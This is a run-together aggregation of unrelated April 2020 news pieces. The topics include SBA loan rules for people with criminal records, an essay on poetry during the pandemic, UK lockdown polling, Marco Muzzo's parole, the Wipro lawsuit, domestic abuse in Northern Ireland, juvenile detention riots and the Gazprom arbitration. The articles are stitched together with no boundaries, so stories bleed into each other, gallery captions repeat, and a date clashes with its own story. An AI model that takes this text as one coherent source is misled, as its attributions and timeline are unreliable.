Small Business and Entrepreneurship, calling on him and other lawmakers working to pass the second relief package to correct a Small Business Administration interim rule that disqualifies people with certain criminal records from accessing the emergency, low-interest, and in some cases forgivable loans made available by the CARES Act. Each year, more than 600,000 state and federal prisoners are released and face significant barriers to successful re-entry including occupational licensing and meaningful employment, the letter stated. Small businesses provide a vital opportunity for those with a criminal record to contribute to society, to earn an honest profit, and to give back to others. Under the interim SBA rule, business owners with certain criminal records or those who are subject to judicial proceedings are denied access to the benefits that the program provides. Faith leaders warned that denying loans to business owners because of their criminal history not only hurts them but also hurts their employees. An estimated one in three Americans has a criminal record, the letter read. Because so many employment barriers exist for people with a criminal record, many start their own business to support themselves and their families. The exclusions listed in the aforementioned rule are far too broad and endanger the economic welfare of people with a criminal record and the Americans they employ. 69 Shares Share I come into the peace of wild things who do not tax their lives with forethought of grief. I come into the presence of still water. And I feel above me the day-blind stars waiting with their light. For a time I rest in the grace of the world, and am free. These verses flashed on my computer screen, the glare lighting my face as I sat in my bedroom. I paused my usual work and pondered over the words, written by the American poet Wendell Berry. A counselor from my medical school had emailed me this poem, asking me how I was doing amidst these challenging times. She knows that poetry is a way I navigate my thoughts, experiences, and feelings. Its how I wrestle with the world and my questions. Right now, the state of our world is chaotic and uncertain. The emotional toll is just as significant as the physical; we wonder, What now? What next? What can we do? As we collectively face difficult and challenging times, people are turning to new or rarely used modes of thinking and expression: creative acts like poetry. April is National Poetry Month. In 1996, the Academy of American Poets launched this month-long celebration to emphasize how poetry matters in our society and within our own individual lives. Poetry enriches communities, gives voice to people, and inspires the human spirit. It provokes, stirs, challenges, and empowers. It offers catharsis, allowing us to express ourselves in creative and often unexpected ways. Individuals from New York to Wisconsin have written poems specifically in response to these difficult times. A Danish author published an anthology of 31 poems in a month, while a group of 115 poets published 146 poems specifically about the pandemic. Poetry is even appearing on shipped donations of medical supplies: Though we are oceans apart, a shared moon connects hearts, reads boxes from Japan to China. Even before these times, Ive always enjoyed reading and writing poetry I even took a research year to launch a poetry program for young patients at the local childrens hospital. Before the program was cut short by the pandemic, I witnessed the power of poetry in these childrens lives. Stuck inside a hospital, afraid of what may come, they were often very much quarantined in their rooms, unable to step outside or return to school because of illness. When I would visit them with my traveling poetry kit, I would offer activities for reading poetry or writing their own. Ranging from elementary school students to teenagers, many wrote whimsical, funny, profound, and touching poems. I provided prompts such as describe your favorite meal or how would your best friend describe you. The children shared their experiences of being in the hospital. Through their own words, they expressed gratitude for their families and dreams of a return to normalcy; they talked about their pet dogs and anime, movies like The Incredibles, and funny moments with eccentric older siblings. Because of HIPAA, I cant share exact quotes, but I can offer how they felt. Many said they felt happier, less tired, and more creative; as one young boy said, Im a poet and didnt even know it! Some patients stayed in the hospital overnight, while others had extended stays of days, sometimes weeks. As I spent time with them and engaged in poetry together, the more I observed the power of words for healing, finding meaning, and making sense of their situations. This is why poetry is so important, now more than ever. As we all stay at home under lockdown, words have taken on new meaning and importance. A simple text on the phone goes a long way to someone living alone during lockdown. Signs on windows announcing thank you, frontliners or were in this together uplifts the spirits of passersby. A heartfelt email to a grandparent, or a Facebook message to a friend you havent spoken to in a while goes a long way, too. National Poetry Month emphasizes how inspiring language can help bring solace and needed strength. In a new initiative in direct response to COVID-19, the American Academy of Poets launched Shelter in Poems, a platform for readers to share poems that help them find courage, solace, and actionable energy. Jennifer Benka, executive director of the Academy of American Poets, has stated that more and more are turning to poetry because amid fear and uncertainty, poetry can help bring needed strength. It can render tranquility and bears the power to bring us together. In an email, she even likens poetry to hope, a salve in a time of anxiety, fear, and social isolation. One final thing Ive learned about poetry that is particularly relevant in these times, is that poetry accepts ambiguity. Poems have multiple meanings. There is no one, right way to interpret a poets words. Whether haiku or sonnet, free-form, or rhyme, there are as many ways to write a poem as there are to read one. Ive read too many where I still dont know the meaning, but was able to extract one of my own. Perhaps thats the beauty of poetry sitting in the gray, and still making meaning out of it. Still finding beauty amidst mystery and understanding amidst the confusion. I think thats what were all trying to do amidst this crisis. The other day, my school counselor checked in again and sent me another poem, this time by Kitty OMeara, a retired teacher from Wisconsin. To cope with her rising worry over the pandemic, OMeara penned these words, compelling me to see beyond today. And when the danger passed, and the people joined together again, they grieved their losses, and made new choices, and dreamed new images, and created new ways to live and heal the earth fully, as they had been healed. Anna Delamerced is a medical student. Image credit: Shutterstock.com Almost three-quarters of Britons (71 per cent) say they will be very nervous about leaving their homes when the coronavirus lockdown is lifted, according to a new poll. The Ipsos Mori survey of 14 major countries found the UK was the most cautious about relaxing restrictions introduced to limit the spread of the deadly virus. Some 70 per cent of Britons said they opposed reopening the economy if the illness is not fully under control, compared to 61 per cent in Spain and Australia, 59 per cent in the US, 53 per cent in Italy and 50 per cent in Germany. The pollster said that its findings suggested that any revival in the economy following the lifting of lockdown might not be quite so fast as hoped for, with Brits reluctant to go back to the offices and shops. The figures emerged as ministers discussed moves - expected to be outlined by Boris Johnson by 7 May - to ease the UK out of lockdown when scientists are confident the first wave of Covid-19 has passed. Coronavirus: London on lockdown Show all 29 1 /29 Coronavirus: London on lockdown Coronavirus: London on lockdown A man walks down a deserted Camden High Street Photos Angela Christofilou Coronavirus: London on lockdown Goodge Street Station is one of the many stations closed to help reduce the spread Angela Christofilou Coronavirus: London on lockdown An empty street in the heart of Chinatown Angela Christofilou Coronavirus: London on lockdown People in masks in Chinatown a day after the lockdown Angela Christofilou Coronavirus: London on lockdown A near-empty Piccadilly Circus during the first week of lockdown Angela Christofilou Coronavirus: London on lockdown Sonja, my neighbour, who I photographed while taking a short walk. It was nice to briefly chat even from a distance Angela Christofilou Coronavirus: London on lockdown A couple sit on the empty steps of the statue Eros in Piccadilly Circus Angela Christofilou Coronavirus: London on lockdown Making sure I stay two-meters apart DArblay Street, Soho Angela Christofilou Coronavirus: London on lockdown A mannequin behind a shop window. UK stores have closed until further notice Angela Christofilou Coronavirus: London on lockdown A notice displayed on a shop window in Camden Angela Christofilou Coronavirus: London on lockdown As part of the lockdown, all non-essential shops have been ordered to close.Image from Camden High Street Angela Christofilou Coronavirus: London on lockdown A skateboarder wearing a mask utilises his exercise allowance in the Camden area Angela Christofilou Coronavirus: London on lockdown Communities have been coming together in a time of need Angela Christofilou Coronavirus: London on lockdown A woman stands alone in a deserted Oxford Street. Up until a few weeks ago, on average, half a million people visited the street per day Angela Christofilou Coronavirus: London on lockdown A couple walk hand in hand down a street in Soho, a day before the stricter lockdown was announced Angela Christofilou Coronavirus: London on lockdown During the first week of March, shoppers focused on stockpiling necessities ahead of a countrywide lockdown Angela Christofilou Coronavirus: London on lockdown Many supermarkers are operating a queuing system to make sure only a limited amount of customers are allowed in at anyone time Angela Christofilou Coronavirus: London on lockdown Stay Safe Curzon cinemas are temporarily closed under the new measures Angela Christofilou Coronavirus: London on lockdown Pubs, restaurants and bars were ordered to shut as part of the lockdown Angela Christofilou Coronavirus: London on lockdown Camden High Street There are fears that coronavirus could lead to permanent closure of struggling shops Angela Christofilou Coronavirus: London on lockdown Camden Town is eerily silent on a normal working day Angela Christofilou Coronavirus: London on lockdown Shops and supermarkets ran out of hand sanitisers in the first week of the lockdown. As we approach the end of the second week most shops now have started to stock up Angela Christofilou Coronavirus: London on lockdown Empty streets around Soho Angela Christofilou Coronavirus: London on lockdown A noticeboard on Camden High Street urges the public to stay at home Angela Christofilou Coronavirus: London on lockdown Camden High Street, one of Londons busiest tourist streets turns quiet Angela Christofilou Coronavirus: London on lockdown Thriller Live confirmed its West End run ended in the wake of the coronavirus outbreak Angela Christofilou Coronavirus: London on lockdown Empty and eerie Soho streets after stricter rules on social distancing announced Angela Christofilou Coronavirus: London on lockdown A woman pauses for a cigarette on Hanway Street, behind Tottenham Court Road Angela Christofilou Coronavirus: London on lockdown A man steps outside onto Hanway Street, that sits behind what is usually a bustling retail hub Angela Christofilou It is thought this could start with the reopening of non-essential shops and workplaces where two-metre distancing rules can be observed, with schools waiting longer to return and public transport users advised to use scarves or homemade masks to cover their mouths. The poll findings suggest that Mr Johnson was wrong to anticipate public resistance to official efforts to strip them of the ancient inalienable right of freeborn people of the United Kingdom to go to the pub. And they indicate that demands from Tory backbenchers for an early resumption of economic activities may not chime with public opinion. Far from champing at the bit to return to normal social life, the survey suggests Britons want to be confident that the danger from Covid-19 has passed before venturing outside. Some 71 per cent said they would feel very nervous about leaving my home, even if businesses were allowed to reopen and travel resumes, with just 26 per cent saying they would not. (Ipsos Mori (Ipsos Mori) More people said they would be nervous in Japan (77 per cent), India (76) and China (72). But there was more confidence in Germany - where 52 per cent said they would not be very nervous and just 44 per cent would - Italy (45 not very nervous, 49 very nervous) and France (32-63). While just 23 per cent of Britons said the economy should be restarted and businesses allowed to open even if the virus is not fully contained, 60 per cent said this should be allowed to happen in Russia, 55 per cent in China, 53 per cent in Italy and 50 per cent in Germany. Ipsos Moris head of political research Gideon Skinner said: Our latest polling across 14 countries show that Britons are the most cautious when it comes to reopening the economy, being the least keen for businesses to reopen if the coronavirus is not contained. (Ipsos Mori (Ipsos Mori) Furthermore, seven in ten Britons say that they will be nervous about leaving the house after the lockdown eases. These suggest that the turnaround in the economy might not be quite so fast as hoped for. - Ipsos Mori questioned a total of 28,000 adults in Canada, the United States, Australia, Brazil, China, France, Germany, Italy, India, Japan, Mexico, Russia, and the UK between 16 and 19 April. Convicted drunk driver Marco Muzzo serving a 10-year sentence for killing a grandfather and three grandchildren has been granted day parole. The news was first confirmed Tuesday afternoon by Jennifer Neville-Lake, the mother of Daniel, Harrison and Milagros Neville-Lake aged nine, five and two and daughter of Gary Neville, 65. The four were killed in 2015 in a crash caused by Muzzo. My familys killer, drunk driver Marco Michael Muzzo has been granted day parole, Neville-Lake wrote on Facebook. I know I did my best. The law firm representing Muzzo confirmed the decision and shared a statement in which Muzzo said he wants to apologize to the Neville-Lake, Neville and Frias families for the terrible pain I have caused them and their loved ones. I ruined their lives and I take full responsibility for what I have done. I always will. He continued: I was careless and irresponsible when I made the choice to drink and drive. There is no way that I can undo the damage that I have caused. I will live with this for the rest of my life. The Parole Board of Canada did not immediately confirm the decision. Victims and family are typically notified ahead of a public statement. Muzzo appeared before the Parole Board of Canada remotely on Tuesday. He was asking for a second time for parole, in a hearing that Neville-Lake was able to attend and deliver a victim statement by phone. Until last week, neither victims nor media were allowed to attend the hearings due to COVID-19 measures. The board later allowed victims to now participate by phone, although media remain shut out. With no media present the board offered only to mail a decision to approved observers, which includes reporters the role of informing the public of what happens has been thrust onto victims. No matter what happened today, Daniel, Harry and Milly dont get to come back home. My dad isnt coming home to my mom, Neville-Lake wrote on Facebook Tuesday. Nothing changes for me. On the eve of the hearing, Neville-Lake wrote that she would be posting updates, but may not be up to talking. We are the test for Victims across Canada, she said on Twitter. I will be posting on my (social media) sites, but I cant commit to talk. I just dont know how I will be. I truly appreciate your support and thank you for your understanding. I wish you could be there. Andrew Murie, CEO of Mothers Against Drunk Driving, also took to Twitter to criticize the boards decision to open up only to victims. As much I appreciate the Parole Board now allowing victims to participate in real-time but forcing upon victims the additional burden of reporting what happened is not right, said Murie. The is the role of the media. In an interview Tuesday, Murie said he spent the day checking Twitter for news from the hearing and feeling for the family, particularly Neville-Lake. Their family has been devastated, and shes just trying to cope to get through this parole hearing, said Murie who pushed for victims to be included in a virtual way, and then thought of how much of a burden it is for victims to be the only ones to communicate, real time, what was said. The parole board makes decisions public as they are made, but with no media present, transcripts of what was said could be weeks away. Not having the media there, that was a big miss and it needs to be added in there, said Murie. Murie said he was not surprised by the decision to grant Muzzo day parole. What was surprising, he said, was the last decision denying him day parole, largely over his alcohol misuse. So, obviously he took that to heart, made some changes, has a new respect for the impact that alcohol may have on someones life and hes probably got some real restrictive conditions. Muzzo has been housed at Beaver Creek Institution in Gravenhurst. He pleaded guilty in 2016 to impaired driving causing death in the 2015 crash in Vaughan. He also pleaded guilty to impaired driving causing bodily harm over injuries to the childrens grandmother and great-grandmother. He was denied on his first try in November 2018 after the parole board found he had sabotaged his progress in prison by underestimating his issues with alcohol. Of concern, you advised the board you felt you would need to consume eight or nine drinks before you would consider yourself impaired in the context of driving, the panel wrote in its decision. When pressed on this issue, you altered your response indicating you believe eight or nine drinks would make you wasted. In any event, in our view, it was clear you lack insight into the volume and frequency of your drinking and the risk it poses for you and others. At his first parole hearing, Muzzo told the board he firmly believed he was not an addict. The family of the victims also spoke then, urging the board to keep Muzzo locked up. Muzzo comes from a wealthy family, estimated to be worth close to $2 billion by Canadian Business Magazine. He has admitted to driving impaired before the crash. Hed also been ticketed several times for speeding. A person becomes eligible for full parole after serving one-third of their sentence. By PTI WASHINGTON: A group of five former employees of Wipro in the United States has filed a class action lawsuit accusing the Indian IT company of "employment discrimination" against individuals who are not South Asian and who are not of Indian origin. Headquartered in Bangalore, Wipro has over 160,000 workers worldwide, including over 14,000 employees in the United States. The lawsuit filed in a District Court in New Jersey claims that while only about 12 per cent of the United States' IT industry (the industry in which Wipro operates) is South Asian, at least 80 per cent (or more) of Wipro's United States workforce is South Asian (primarily from India). "This grossly disproportionate workforce results from Wipro's intentional pattern and practice of employment discrimination against individuals who are not South Asian and who are not of Indian national origin, including discrimination in hiring, promotion, and termination decisions, and its use of employment practices that result in a disparate impact on those same groups," alleges the lawsuit. When contacted, the company said: "Wipro does not comment on pending litigation". All the five former employees are US citizens. Three of them Gregory MacLean (a resident of California), James Gibbs (Tennessee) and Ronald Hemenway (Florida) are of Caucasian race. Rick Valles from California is from Hispanic race, while Ardeshir Pezeshki from California is of Iranian origin. Demanding a "trial by jury", the class action lawsuit seeks Wipro to adopt a valid, non-discriminatory method for hiring, promotion, termination, and other employment decisions. The lawsuit alleges that Wipro operates under a general policy of discrimination in favour of South Asians and against individuals who are not South Asian and not Indian. This general policy of discrimination manifests itself in the same general fashion with respect to Wipro's hiring, staffing, promotion, and termination decisions, the lawsuit alleges. "To fulfill its employment preference for South Asians and Indians, Wipro seeks to maximize the number of visas it receives each year from the federal government," it says. Wipro is consistently one of the top five H-1B visa recipients. Wipro submits visa petitions for more positions than actually exist in the US in order to maximize its chances of securing the highest number of available H-1B visas from the lottery process, it alleges. "In this way, Wipro has been able to secure visas for far more individuals than it actually has a present need for. For example, in 2015, Wipro received 5,968 new visas, while in 2016, it received 6,831 new visas far more positions that could actually exist given that Wipro employs less than 15,000 individuals in the United States," the lawsuit says. Alleging that Wipro gives preference to South Asian and Indian applicants located in the US over non-South Asian and non-Indian applicant, the lawsuit says that "on information and belief, both Wipro's internal recruiters and its third-party recruiters give preference to locating and recruiting South Asian and Indian candidates, who are then given preference throughout the hiring process." Police have told people suffering from domestic abuse they are still there to help (Niall Carson/PA) Four domestic killings have occurred in Northern Ireland since the coronavirus lockdown began, the Justice Minister has said. Police have also received almost 2,000 calls for help from domestic abuse victims in the region over three weeks during the pandemic. The figures were outlined on Tuesday as Stormont debated tough new domestic laws that will see the worst perpetrators face up to 14 years in prison. Devastatingly, particularly for the families involved, there have already been four domestic homicides since the Covid-19 lockdown began, Naomi Long said. Temporary restrictions aimed at curbing the diseases spread are forcing people to spend more time at home. Mrs Long added: It is important that our response is not temporary or fleeting as domestic abuse is neither. From April 1 to 21, the Police Service of Northern Ireland (PSNI) received 1,919 domestic abuse calls. Domestic Abuse comes in many forms. Last week we began to profile some of the organisations in NI that offer support & help to victims #DomesticAbuse Today it's @TRPNI #YouAreNotAlone Contact them via 028 9031 9030 info@rainbow-project.org https://t.co/Q9xmX4Cmu7 pic.twitter.com/ItTRrmcaGS Justice NI (@Justice_NI) April 27, 2020 Under the draft law, a person convicted in a crown court of the worst offending faces up to 14 years in prison. Mrs Long said the most serious cases were more likely to involve a course of behaviour including psychological and physical abuse. The Domestic Abuse and Family Proceedings Bill includes the creation of a new domestic abuse offence, allowing for heavier sentences where children are involved, and a stiffening of penalties for any offence where domestic abuse is associated with it. Mrs Long said: The need for this legislation has never been more clear. Abusers are wielding power over their victims because it is not an offence to do so. Now is our chance to change this by criminalising psychological and emotionally harmful behaviour, sending out a clear message that this behaviour will not be tolerated and that perpetrators will be punished. The sad truth is that thousands of people across Northern Ireland wake every morning feeling frightened, controlled, isolated, degraded, humiliated or ashamed, in their own homes Naomi Long She said the effect on daily life could be devastating when home was no longer a safe place. The sad truth is that thousands of people across Northern Ireland wake every morning feeling frightened, controlled, isolated, degraded, humiliated or ashamed, in their own homes. They are always on their guard, waiting for the next attack, whether that be physical or psychological. Tragically, their abuser is someone they should be able to trust: a partner, a close family member, the person that sits across from them at the dinner table. She urged those in danger to call or email helplines, contact a friend or the police if necessary. Detective superintendent Anthony McNally said spending more time at home can create potentially stressful situations. He added: As a police service, we want victims of domestic abuse to know we are still here to help you, despite the pandemic. You are not alone and we have not forgotten you. No matter what you are going through - @TRPNI is here for you. We will continue to speak out for #LGBT victims of domestic abuse and make sure that gov't & @PoliceServiceNI listen & provide support for ALL victims. Thank you to @Justice_NI for their support. https://t.co/g140nrqRiE The Rainbow Project (@TRPNI) April 27, 2020 Despite the pandemic, victims continue to suffer at the hands of their abusers and, in the past three weeks, from 1st-21st April, we have received 1,919 domestic abuse calls. Stormont Justice committee chairman Paul Givan said the number of crimes was on the increase, hitting 18,033 in one year. He said: Home is where most people feel secure. It is a haven where you can relax with loved ones. For many men, women, young and old, home becomes the worst place to be. It is a persons living nightmare and the crime is committed by someone who supposedly loves them and they should be able to trust. The latest stage of the legislative process was passed and the Bill will be considered by Stormonts Justice Committee. Boris Johnson vowed that key workers who have lost their lives in the coronavirus pandemic will not be forgotten, as the UK fell silent in their honour. People paused in a sombre nationwide tribute to the sacrifice made by those on the frontline, in roles ranging from doctors and nurses to carers, cleaners, porters and bus drivers. Healthcare staff, some tearful, bowed their heads in memory of colleagues, followed in some areas by applause, while elsewhere traffic stopped as essential workers in all key sectors were remembered. Mr Johnson, who has just returned to work after recovering from Covid-19, joined the countrywide commemoration, which the Unison union, the Royal College of Midwives and the Royal of College of Nursing had campaigned for. This morning I took part in a minutes silence to remember those workers who have tragically died in the coronavirus pandemic. The nation will not forget you. pic.twitter.com/6yV5PCINyM Boris Johnson (@BorisJohnson) April 28, 2020 Mr Johnson stood in silence alongside Cabinet Secretary Mark Sedwill and Chancellor Rishi Sunak inside 10 Downing Street. Afterwards, the PM tweeted: This morning I took part in a minutes silence to remember those workers who have tragically died in the coronavirus pandemic. The nation will not forget you. More than 100 NHS and social care workers have lost their lives. Expand Close Staff stand outside the Royal Derby Hospital during the minutes silence (Jacob King/PA) PA / Facebook Twitter Email Whatsapp Staff stand outside the Royal Derby Hospital during the minutes silence (Jacob King/PA) Workers in other key sectors such as transport are also among those who have died while carrying out their vital work during the pandemic. Dame Donna Kinnair, chief executive and general secretary of the Royal College of Nursing, said: I am heartened to hear how many people took part in the minutes silence to honour the memory of staff who have tragically died during the pandemic. We thought it was important to pay tribute publicly to those who have lost their lives to the virus, and I am proud that so many took the time to do so this morning. She issued an urgent call for protection of workers, saying the death toll must not be allowed to rise further. An even greater task now remains to stop more joining the tragic number of those who have died. All key workers, healthcare staff among them, must be afforded the greatest protection. This morning the Abbey community fell silent to honour the sacrifice of health and care workers who have lost their lives in the service of others, and to pray for those who have died and those who mourn.#minutesilence #NeverForgotten pic.twitter.com/HIfPSJlZme Westminster Abbey (@wabbey) April 28, 2020 In a snapshot of how the silence was marked across the UK: Flags were flown at half-mast from various hospitals including from Chorley and Royal Preston Hospitals and Birmingham Womens and Childrens Trusts hospitals. Westminster Abbey also fell silent to honour the sacrifice of health and care workers who have lost their lives in the service of others. Trade unionists and other supporters stood outside Sheffield town hall, carrying placards some listing the names of those who have died. In Newcastles Old Eldon Square, three Unison representatives laid wreaths at the city centres main War Memorial. Underground and bus networks in London were brought to a halt as the workforce honoured its colleagues while elsewhere some traffic stopped for the silence. Outside Salford Royal Hospital in Greater Manchester, some people wiped away tears as NHS staff and Unison campaigners gathered which was followed by applause, with some passing traffic beeping horns and drivers giving thumbs-up gestures as they passed. In Northern Ireland, staff in the emergency department of the Ulster Hospital formed a guard of honour in the corridor to show solidarity with our colleagues. Senior nurse Roisin Devlin told the PA news agency: In healthcare, teamwork is so important and, when you lose a member of that team, it is like losing a family member. In Scotland, First Minister Nicola Sturgeon marked the moment outside St Andrews House. In Wales, First Minister Mark Drakeford and Health Minister Vaughan Gething marked the silence with other ministers at the Welsh Government headquarters in Cardiff. Today we pay tribute to all #OurNHSPeople who have lost their lives in the coronavirus pandemic youll never be forgotten. #MinuteSilence pic.twitter.com/GfHD1RdAg8 NHS England and NHS Improvement (@NHSEngland) April 28, 2020 Tuesdays silence held on International Workers Memorial Day was in stark contrast to the enthusiastic, loud clapping which has become a weekly focal point across the UK. Andrea Sutcliffe, Nursing and Midwifery Council (NMC) chief executive and registrar, said: Our tribute in silence today is as important as the noisy cheering for the NHS, social care and key workers on a Thursday evening. The Government has faced criticism over PPE supplies for frontline workers, and Martin Mayer, the secretary of Sheffield Trade Union Council, told those who gathered in the city on Tuesday that many workers didnt get the protection they should have had. He said: We stand here sombrely and with great sadness, but with anger in our hearts too. Because we could have done and should have done so much better. The Society of Occupational Medicine, whose members include more than 1,700 doctors, nurses, physiotherapists, occupational therapists and technicians, has said the goal should be zero work-caused fatalities. It is calling for the Government to prevent any further work-related deaths and for employers to carry out risk assessments so people can safely return to their jobs whenever the lockdown is eased. Nicole Hingle wasn't surprised when the call came. Frustrations had been building inside juvenile detention centers nationwide as the number of coronavirus cases continued to climb. Now, her 17-year-old son Jace, was on the phone telling her around 40 kids had rioted at his facility in Louisiana the same state where more than a dozen youths escaped during two breakouts at another site this month. Hingle said her son described whirring helicopters above the Bridge City facility just outside New Orleans. Juveniles kicked down their doors, a SWAT team swarmed in, kids were pepper-sprayed and a staffer was injured during the melee. It's a real mess, the teen told his mother. Everything is destroyed. Due to coronavirus lockdown measures, it's been more than two months since Hingle has been able to visit her son. She has accused administrators of keeping her in the dark, and said she was growing increasingly upset by the lack of a clear plan to protect or release those held inside. Ten youths have tested positive at Bridge City in recent weeks. This could be life or death for my child, said Hingle, adding that her son was among a group transferred to the Acadiana Center for Youth after the brawl, where they were pepper-sprayed twice over the weekend by parole officers brought in to help due to short staffing. I don't want condolences from the state. I don't want condolences from the governor, she said. I do not want sympathy. I want them to do what is right on behalf of our kids because they cannot save themselves nor can we save them without the help of these politicians. As more and more state and local officials announce the release of thousands of at-risk inmates from the nation's adult jails and prisons, parents along with children rights' groups and criminal justice experts say vulnerable youths should be allowed to serve their time at home. But they say demands for large-scale releases have been largely ignored. Decisions are often not made at the state level, but instead carried out county by county, with individual judges reviewing juvenile cases one by one. Such legal hurdles have resulted in some kids with symptoms being thrown into isolation for 23 hours a day, in what amounts to solitary confinement, according to relatives and youth advocates. They say many have been cut off from programs, counselors and school. Some have not been issued masks, social distancing is nearly impossible and they have been given limited access to phone calls home. One mother reported that her daughter was so cut off from the outside world with no TV and staff not wearing any protective gear that the girl had no idea a deadly virus was even circulating in America. In some states, authorities have been shuttling kids between facilities, trying to make sure sick and healthy young people are kept apart. Growing fears and frustrations have led to violence and mayhem not just in Louisiana, but at juvenile centers in other coronavirus hot spots such as New York. Young people are calling their parents to say they're scared and desperate to escape. Sheriff's deputies responded to a facility in Portland, Oregon, this month after a disturbance broke out, but no injuries were reported. The department has maintained essential staff at the juvenile detention center in accordance with national standards throughout the COVID-19 outbreak, and is working hard to balance the social and emotional needs of youth in our care during this extraordinary time, the Multnomah County Juvenile Services Division said in a statement. Vincent Schiraldi, co-director at Columbia University Justice Lab and a former correctional administrator, said he hoped these problems would serve as a warning to other juvenile facilities, especially those that have not yet been hit by the virus. If this storm is coming in your direction, don't wait until you have 100 mile-an-hour winds to put the boards up on the windows, he said. Deal with it now. Come up with your COVID plan now. Get everybody out of your facility that can be gotten out, start training your staff, start developing your lines of communication, so that if people start getting sick and staff start calling in sick, then you can manage it as best you can. As of Monday, 150 juveniles and 283 staff had tested positive for COVID-19 at facilities nationwide, according to an unofficial log being kept by Josh Rovner at the Washington, D.C.-based nonprofit The Sentencing Project. He said because testing has been so limited, it's likely the real numbers are much, much higher. New York is one of the few cities that operates two juvenile facilities. At the first sign of illness there, the city agency that oversees the sites decided to put healthy kids at the Crossroads Juvenile Center in Brooklyn, while moving all of the infected residents to the Horizon Juvenile Center in the Bronx. Fernando Cabrera, a Bronx council member, said he saw the potential danger of suddenly ripping kids away from familiar staff and routines, especially during a time of crisis. You transfer all these kids to another borough, they are going to be anxious, he said after dozens of police responded when a fight broke out in Crossroads about two weeks ago. They are in self-preservation mode. The city's Administration for Children's Services provided few details about the brawl, but said some staff suffered minor injuries, including one who needed offsite medical treatment. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) In an apparent effort to dispel rumors about Kim Jong Un's well-being, North Korean state media on Monday (April 27) released a letter from the reclusive leader in which he congratulated South African President Cyril Ramaphosa on Freedom Day. The Korea Central News Agency reported that the letter was dated April 27, 2020 but there is no way to confirm its authenticity. In his letter to Ramaphosa, the North Korean leader had expressed confidence that the friendship between Pyongyang and Cape Town would grow in the future. The publication of Kim's letter comes at a time when another state-run media outlet, the Rodong Sinmun paper, claimed that the North Korean leader wrote a letter to builders working on a tourism project in Wonsan, where he is believed to be living since April 13, according to South Koreas Yonhap News Agency. Though the suspense is rising over Kim Jong Un's health, South Korea has repeatedly maintained that the reclusive leader is "alive and well." "Our government position is firm," Moon Chung-in, the top foreign policy adviser to South Korean President Moon Jae-in, told CNN. "Kim Jong Un is alive and well. He has been staying in the Wonsan area since April 13. No suspicious movements have so far been detected," added Moon. Questions over Kim's well-being were raised on April 15 after he failed to attend the celebration of his grandfather's birthday. Kim was last seen on April 11 at a politburo meeting. Few days ago, CNN had reported that the US is closely monitoring intelligence that Kim is "in grave danger after a surgery." A senior US official told CNN on Monday that the concerns about Kim's health are credible, but they are yet to confirm their severity. Watertown, NY (13601) Today Some mixed winter precipitation possible early. Snow this evening will give way to lingering snow showers late. Low around 25F. Winds light and variable. Chance of snow 90%. Snow accumulations less than one inch.. Tonight Some mixed winter precipitation possible early. Snow this evening will give way to lingering snow showers late. Low around 25F. Winds light and variable. Chance of snow 90%. Snow accumulations less than one inch. Paris: The question of when to reopen schools looms large as European countries and US states draw up plans to restart their battered economies. A school Berger Feld stands abandoned in Gelsenkirchen, Germany. Credit:AP Despite alarm among some teachers, parents and mayors, France detailed plans on Tuesday to start opening schools on May 11, with limits on class size and rules requiring face masks. Hard-hit Italy intends to keep schools closed until September. And in the US, where President Donald Trump said states should seriously consider resuming classes before the end of the academic year, dozens have said it would be unsafe for students to return until the northern summer or autumn. Gazprom seems unworried about the ruling and, as reported a week ago by PGNiG, keeps selling gas to Poland under the old price. As Russian gas giant Gazprom seems tardy about paying up the US$1.5 billion fee imposed on it by the ruling of the Arbitration Institute of the Stockholm Chamber of Commerce, Poland's Deputy State Assets Minister Janusz Kowalski tells "Gazeta Polska Codziennie" daily that following in Ukrainian Naftogaz's footsteps of hard enforcement of due payments sounds like a good plan. It was at the end of March 2020 that the Arbitration Institute of the Stockholm Chamber of Commerce ruled that the Russian gas giant Gazprom, the key gas provider of Poland, had overpriced its services and thus should return US$1.5 billion to the Polish Oil Mining and Gas Extraction (PGNiG). But even with the ruling in place, the Russian company behaves sluggishly and does not adhere to the new, legally enforced pricing of its gas delivered to Poland, as reported by POLAND IN. Read alsoRFE/RL: Poland state gas distributor says it wins $1.5 bln from Russia's Gazprom in price dispute Mr Kowalski points to Naftogaz's stance as a viable solution. "The case of Ukraine's Naftogaz, which won US$2.6 billion from Gazprom, showed that pursuing hardcore enforcement one can acquire payments due under a court order. Following a ruling to their advantage, the Ukrainians started taking over the Russian company's assets in Europe. Because this method proved efficient, we too are going to pursue it," said Deputy Minister Kowalski. Gazprom seems unworried about the ruling and, as reported a week ago by PGNiG, keeps selling gas to Poland under the old price. In view of this, the PGNiG announced it was considering reporting the anti-competitive praxes of Gazprom to the European Commission. Deputy Minister Kowalski argues that the fact of Gazprom disregarding the ruling proves that the Russian giant is not a trustworthy provider. Mr Kowalski also stressed that over the past 20 years Gazprom has been regularly violating gas delivery agreements with Poland. "This time it should serve as a warning call for the EU, and Germany in particular, a warning against total dependence on the Kremlin," said the deputy minister, adding that "should 110 bcm of gas be delivered to European markets via the Nord Stream 1 and 2 pipelines in 10-15 years' time, it would imply that Kremlin has acquired a powerful tool to pursue its policies." According to the provisions of the Yamal Contract and the final award, the new contract price determined by the Arbitral Tribunal should apply retroactively from November 1, 2014, i.e., from the date of the submission by PGNiG of its price revision request, a major breakthrough for the company, which had seen profits drop significantly in the last quarter of 2020. According to the company's preliminary assessment, the retroactive settlement under the final award results in a price difference payable by Gazprom to PGNiG of approximately EUR 1.3 billion for the period from November 1, 2014, to February 29, 2020. Seriously ill Qantas staff who have worked for the airline for more than have 30 years have launched legal action after they were denied access to accrued sick leave. The Transport Workers Union took the airline to the Federal Court on Tuesday on behalf of workers on sick leave who can no longer access the entitlement after Qantas stood down two thirds of its workforce due to travel restrictions during the coronavirus pandemic. Among those affected include a cancer patient and another awaiting surgery for a triple bypass. Both have worked for Qantas for more than 30 years. Qantas stood down 20,000 employees last month and announced that sick/carer's leave will not apply during the stand down period. Qantas have been taken to court after the airline refused to pay sick leave entitlements during the current stand down period (pictured are Qantas staff at Adelaide Airport earlier this month) The TWU claimed the airline is in breach of Fair Work Act provisions and urged Qantas to reconsider the 'heartless' move. 'It is an utter disgrace that Qantas workers, some of whom have worked with the company for several decades and are now battling very serious illnesses, have been refused sick leave in this way,' TWU national secretary Michael Kaine said. 'They will struggle financially and this will pile pressures and stress on them and their families, making it more difficult for them to focus on getting better.' Qantas told Daily Mail Australia stood-down employees can draw on annual and long service leave and other support mechanisms, such as leave at half pay and early access to long service leave. The airline acknowledged it was a very difficult time for all employees. Qantas stood down two third of its 30,000 workforce last month due to the impact of travel restrictions on the airline 